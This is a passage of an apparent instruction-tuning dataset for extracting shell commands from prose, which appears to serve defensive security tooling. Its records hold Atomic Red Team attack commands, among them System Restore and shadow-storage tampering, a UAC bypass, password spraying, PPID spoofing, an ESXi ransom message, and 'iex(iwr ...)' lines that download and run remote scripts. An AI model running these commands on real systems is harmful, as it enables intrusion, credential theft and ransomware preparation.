    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable system restore on the computer, modify the registry of the currently logged-in user by executing the following commands via cmd console: \nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\n; A precursor to deleting shadowstorage is resizing it, which adversaries achieve via the command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\n\", \"vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To display the implemented domain password policy, run this command: get-addefaultdomainpasswordpolicy; The local security policy can be exported by executing this command: secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt",
    "output": "{\"command_list\": [\"get-addefaultdomainpasswordpolicy\\n\", \"secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing raw packets with AF_PACKET domain and SOCK_RAW type for a brief period while filtering UDP traffic, execute this command: sudo #{program_path} -a -f -t 3; The PowerShell cmdlets for network packet capture can be used with the following command block: New-NetEventSession -Name Capture007 -LocalFilePath \"$ENV:Temp\\\\sniff.etl\"\nAdd-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100\nStart-NetEventSession -Name Capture007\nStop-NetEventSession -Name Capture007\nRemove-NetEventSession -Name Capture007\n",
    "output": "{\"command_list\": [\"sudo #{program_path} -a -f -t 3\\n\", \"New-NetEventSession -Name Capture007 -LocalFilePath \\\"$ENV:Temp\\\\sniff.etl\\\"\\nAdd-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100\\nStart-NetEventSession -Name Capture007\\nStop-NetEventSession -Name Capture007\\nRemove-NetEventSession -Name Capture007\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Windows 10 systems, you can bypass User Account Control and open a command prompt by using fodhelper.exe with these PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"; For Windows 10 UAC bypass that results in an administrative command prompt, run these PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"",
    "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\fodhelper.exe\\\"\\n\", \"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To brute force a list of Microsoft Online users with a single password, use the MSOLSpray PowerShell module via the following command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"#{user_list}\" -Password \"#{password}\"\n; Testing a password against a list of users requires changing to the ExternalPayloads directory and using the following command: \ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\" password132 \n",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\MSOLSpray.ps1\\\"\\nInvoke-MSOLSpray -UserList \\\"#{user_list}\\\" -Password \\\"#{password}\\\"\\n\", \"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\passwordspray.txt\\\" password132 \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For changing the ESXi welcome message to potentially show ransom information, run the following: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\"; This PowerShell test replicates Cobalt Strike's PPID spoofing technique, masquerading a spawned process. After running the following commands, it will display 'Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####' and launch calc.exe:\n. \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n",
    "output": "{\"command_list\": [\"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\\\"\\n\", \". \\\"$PathToAtomicsFolder\\\\T1134.004\\\\src\\\\PPID-Spoof.ps1\\\"\\n$ppid=Get-Process #{parent_process_name} | select -expand id\\nPPID-Spoof -ppid $ppid -spawnto \\\"#{spawnto_process_path}\\\" -dllpath \\\"#{dll_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test leverages a VBA macro to generate and run #{jse_path} via cscript.exe, which subsequently launches wscript.exe. The execution is managed using the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n; Using cscript //E:jscript, you can download a file by running the following command: echo var url = \"#{file_url}\", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}\ncscript //E:Jscript #{script_file}",
